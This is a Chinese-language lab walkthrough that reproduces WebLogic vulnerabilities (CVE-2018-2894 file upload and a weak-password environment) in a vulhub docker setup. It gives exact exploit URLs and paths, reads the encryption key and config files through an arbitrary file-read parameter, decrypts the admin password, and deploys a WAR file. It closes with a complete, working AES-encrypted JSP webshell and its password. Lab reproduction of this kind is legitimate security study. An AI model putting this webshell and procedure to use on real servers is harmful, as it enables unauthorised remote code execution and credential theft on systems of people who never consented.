Weblogic任意文件上传漏洞(CVE-2018-2894)复现
简介
Weblogic管理端未授权的两个页面存在任意上传jsp文件漏洞,进而获取服务器权限。
Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。
影响版本
weblogic 10.3.6.0、weblogic 12.1.3.0、weblogic 12.2.1.2、weblogic 12.2.1.3。
漏洞复现
使用docker环境搭建vulhub环境
cd /vulhub/weblogic/CVE-2018-2894
docker-compose up -d
访问http://your-ip:7001/console,即可看到后台登录页面。
执行docker-compose logs | grep password
可查看管理员密码,管理员用户名为weblogic
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
访问http://192.168.71.141:7001/ws_utc/config.do,设置Work Home Dir为
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
,
访问这个目录是无需权限的
然后点击安全 -> 增加,然后上传webshell:
检查元素然后这里有个id,
http://192.168.71.141:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell
Weblogic(weak_password)任意文件读取、口令破解、文件上传 漏洞复现
漏洞形成原因
本环境存在 任意文件读取漏洞,可利用此漏洞配合解密工具得到登陆密码
登录后台后存在上传点,可上传一句话拿shell
漏洞如何利用
任意文件读取
http://192.168.71.141:7001/hello/file.jsp?path= #接文件路径
读取文件破解密码 上传一句话拿shell
漏洞复现过程
Kali docker 容器中启动此漏洞环境
任意文件读取
• weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可;
• 这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml;
• SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:
192.168.71.141:7001/hello/file.jsp?path=security/SerializedSystemIni.dat
• 再抓取 config.xml 的包,找到加密后的管理员密码:
192.168.71.141:7001/hello/file.jsp?path=config/config.xml
解密
• 解密工具去 https://github.com/TideSec/Decrypt_Weblogic_Password 可下载。
但下载速度很慢,于是我去了国内的代码分享平台https://gitee.com/marsmna/Decrypt_Weblogic_Password
• 解密工具利用
• 访问 192.168.71.141:7001/console/login/LoginForm.jsp 账号输入:weblogic ,密码是上面的解密密码,注意o的大小写。
• 登录后点击左边的 部署
点击下面的安装
点击上载文件
• 上传的文件是 .war文件,可将一句话写在 666.jsp 中,再将 666.jsp 压缩成 666.zip ,再将666.zip改名为 666.war。
• 一句话木马如下,密码为 pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>